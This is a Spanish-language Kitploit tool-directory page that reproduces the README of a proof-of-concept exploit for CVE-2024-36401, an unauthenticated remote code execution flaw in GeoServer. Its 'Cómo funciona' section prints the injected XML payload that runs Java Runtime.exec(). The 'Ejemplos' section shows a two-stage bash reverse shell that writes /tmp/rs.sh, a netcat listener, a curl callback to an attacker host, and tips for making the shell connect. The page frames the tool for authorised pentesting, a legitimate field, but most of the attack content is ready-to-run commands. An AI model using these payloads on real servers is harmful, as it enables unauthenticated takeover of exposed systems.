Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-36401-poc — Exploit de RCE no autenticado para GeoServer (CVE-2024-36401) mediante inyección XPath en filtros OGC. Admite shell inversa y ejecución de comandos a ciegas con detección automática de versiones y sondeo de tipos de entidad. | Kitploit
Herramientas/GitHubGitHub/delt-a/cve-2024-36401-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed TeamingHerramienta de Acceso Remoto
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Exploit de RCE no autenticado para GeoServer (CVE-2024-36401) mediante inyección XPath en filtros OGC. Admite shell inversa y ejecución de comandos a ciegas con detección automática de versiones y sondeo de tipos de entidad.

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-36401 — RCE por Inyección XPath OGC en GeoServer

Python CVE CVSS License

Exploit de ejecución remota de código sin autenticación para GeoServer mediante inyección del parámetro valueReference de filtro OGC (evaluación XPath/JXPath).

Aviso legal: Esta herramienta está diseñada únicamente para pruebas de penetración autorizadas e investigación de seguridad. No la utilices contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito por escrito. El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.


Tabla de contenidos

  • Descripción general
  • Versiones afectadas
  • Detalles técnicos
  • Requisitos
  • Instalación
  • Uso
  • Ejemplos
  • Cómo funciona
  • Solución de problemas
  • Referencias

  • Descripción general

    GeoServer es un servidor Java de código abierto para compartir datos geoespaciales, ampliamente implementado en entornos gubernamentales, empresariales y de investigación. CVE-2024-36401 permite que un atacante no autenticado ejecute comandos arbitrarios del sistema operativo en el host mediante la inyección de expresiones Java en los parámetros de filtro OGC (Open Geospatial Consortium).

    La vulnerabilidad fue añadida al catálogo CISA Known Exploited Vulnerabilities (KEV) en julio de 2024 debido a su explotación activa en entornos reales.


    Versiones afectadas

    RamaRango vulnerableCorregido en
    2.23.x< 2.23.62.23.6
    2.24.x< 2.24.42.24.4
    2.25.x< 2.25.22.25.2

    Las versiones de GeoServer anteriores a 2.23.0 también son probablemente vulnerables, pero están al final de su ciclo de vida y no han sido probadas.


    Detalles técnicos

    GeoServer utiliza la librería GeoTools para evaluar expresiones de filtro OGC. El parámetro valueReference (y otros como CQL_FILTER) se pasa a JXPathContext.selectNodes() de Apache Commons JXPath sin sanitización.

    JXPath permite invocar métodos Java arbitrarios mediante expresiones como:

    root@kitploit:~
    exec(java.lang.Runtime.getRuntime(), 'id')
    

    Esta evaluación ocurre antes de que se compruebe la autenticación en ciertos endpoints, lo que hace que la vulnerabilidad sea completamente no autenticada.

    Endpoints vulnerables:

    • POST /geoserver/wfs — solicitud GetPropertyValue con valueReference
    • GET /geoserver/ows — mismo parámetro mediante la cadena de consulta

    Nota técnica clave: La expresión valueReference debe usar comillas simples (') alrededor de la cadena del comando. Las comillas dobles (") provocan fallos en el análisis XML e impiden la ejecución: un error común en otros PoC públicos.


    Requisitos

    • Python 3.9+
    • Librería requests
    • Un objetivo que ejecute una versión vulnerable de GeoServer con al menos un tipo de entidad WFS disponible (los espacios de trabajo de datos de ejemplo sf, topp, tiger son suficientes)

    Instalación

    root@kitploit:~
    git clone https://github.com/Delt-A/CVE-2024-36401-poc
    cd CVE-2024-36401-poc
    pip3 install requests
    

    O instala las dependencias directamente:

    root@kitploit:~
    pip3 install requests
    

    Uso

    root@kitploit:~
    usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                      [-c CMD] [-f FEATURE]
    
    options:
      -h, --help            show this help message and exit
      -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
      -l, --lhost LHOST     Your IP address for reverse shell callback
      -p, --lport LPORT     Listener port (default: 4444)
      -c, --cmd CMD         Single command to execute (no output returned)
      -f, --feature FEATURE Feature type override (auto-detected if omitted)
    

    Modos

    ModoBanderasDescripción
    Reverse shell-l LHOST -p LPORTReverse shell en dos fases mediante bash
    Ejecución de comandos-c CMDEjecuta un solo comando (a ciegas — sin salida)
    Especificar tipo de entidad-f FEATUREOmite la detección automática y usa el tipo indicado

    Ejemplos

    1. Reverse Shell (recomendado)

    Inicia primero un listener:

    root@kitploit:~
    nc -lvnp 4444
    

    Después ejecuta el exploit:

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -l <LHOST> \
      -p 4444
    

    Salida esperada:

    root@kitploit:~
       _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
      / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
     / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
    / /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
    \____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
       ___
      <  /
      / /
     / /
    /_/
    
      GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
      Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6
    
    [*] Target : http://<TARGET>:8080
    
    [+] GeoServer detected — version: 2.24.2
    [+] Version 2.24.2 is VULNERABLE
    [*] Probing feature types...
    [+] Feature type: sf:archsites
    
    [*] Feature type : sf:archsites
    [*] Listener      : <LHOST>:4444
    [*] Start         : nc -lvnp 4444
    
    [*] Stage 1 — writing /tmp/rs.sh on target...
    [+] Payload delivered via sf:archsites
    [*] Stage 2 — executing → <LHOST>:4444
    [+] Done — check your listener
    

    En el listener:

    root@kitploit:~
    Connection received on <TARGET> 43210
    bash: cannot set terminal process group: Inappropriate ioctl for device
    bash: no job control in this shell
    geoserver@target:~$
    

    2. Ejecución de comandos (a ciegas)

    Ejecuta un comando sin recibir salida. Útil para verificación fuera de banda o para dejar archivos:

    root@kitploit:~
    # Verifica la ejecución mediante la creación de un archivo
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -c "touch /tmp/pwned"
    
    # Activa un callback con curl para confirmar la ejecución
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -c "curl http://<LHOST>:8000/pwned"
    

    Nota: Los comandos que contienen metacaracteres de shell (>, |, &, ;) se codifican automáticamente en base64 para evitar problemas de análisis.


    3. Especificar manualmente el tipo de entidad

    Si la detección automática falla, proporciona un tipo de entidad conocido del objetivo:

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -l <LHOST> \
      -p 4444 \
      -f topp:states
    

    Tipos de entidad comunes incluidos con los datos de ejemplo de GeoServer:

    Espacio de trabajoTipo de entidad
    sfsf:archsites, sf:bugsites, sf:roads, sf:streams
    topptopp:states, topp:tasmania_cities, topp:tasmania_roads
    tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
    citecite:Buildings

    Cómo funciona

    El exploit envía una solicitud WFS GetPropertyValue con una expresión valueReference maliciosa:

    root@kitploit:~
    <wfs:GetPropertyValue service='WFS' version='2.0.0'
      xmlns:wfs='http://www.opengis.net/wfs/2.0'>
      <wfs:Query typeNames='sf:archsites'/>
      <wfs:valueReference>
        exec(java.lang.Runtime.getRuntime(),'COMMAND')
      </wfs:valueReference>
    </wfs:GetPropertyValue>
    

    Para el reverse shell se utiliza un enfoque en dos fases para evitar problemas con metacaracteres de shell dentro del argumento de cadena única de exec():

    Fase 1 — Escribe el reverse shell en /tmp/rs.sh usando codificación base64 y expansión de llaves de shell (sin espacios en la cadena de exec):

    root@kitploit:~
    bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
    

    Fase 2 — Ejecuta el script:

    root@kitploit:~
    bash /tmp/rs.sh
    

    Este enfoque evita la necesidad de un intérprete de shell en la primera llamada a exec(), lo que lo hace fiable en distintas configuraciones de sistema.


    Solución de problemas

    [-] Cannot connect to target

    • Verifica que la URL y el puerto del objetivo sean correctos
    • Confirma que GeoServer está en ejecución: curl http://<TARGET>:8080/geoserver/web/

    [-] No usable feature type found

    • Es posible que los datos de ejemplo de GeoServer no estén instalados
    • Prueba a especificar un tipo de entidad personalizado con -f <workspace>:<type>
    • Lista los tipos disponibles: curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"

    [+] Payload delivered pero no se recibe shell

    • Confirma que tu listener está en ejecución antes de enviar el exploit
    • Revisa las reglas del cortafuegos: el objetivo debe poder alcanzar tu LHOST:LPORT
    • Algunos PoC usan comillas dobles (") alrededor del comando — esto no funciona. Asegúrate de usar comillas simples (') dentro de la expresión valueReference.

    [!] Version X.X.X may be patched — attempting anyway

    • El script siempre intenta el exploit independientemente de la versión detectada
    • La detección de versión puede fallar si la página About está restringida; el exploit puede tener éxito de todos modos

    Referencias

    • NVD — CVE-2024-36401
    • Aviso de GitHub — GHSA-7g64-hx6g-4427
    • Aviso de seguridad de GeoServer
    • Catálogo KEV de CISA
    • Parche JXPath de GeoTools

    Licencia

    Este proyecto está licenciado bajo la Licencia MIT. Consulta LICENSE para más detalles.

    Descargar herramienta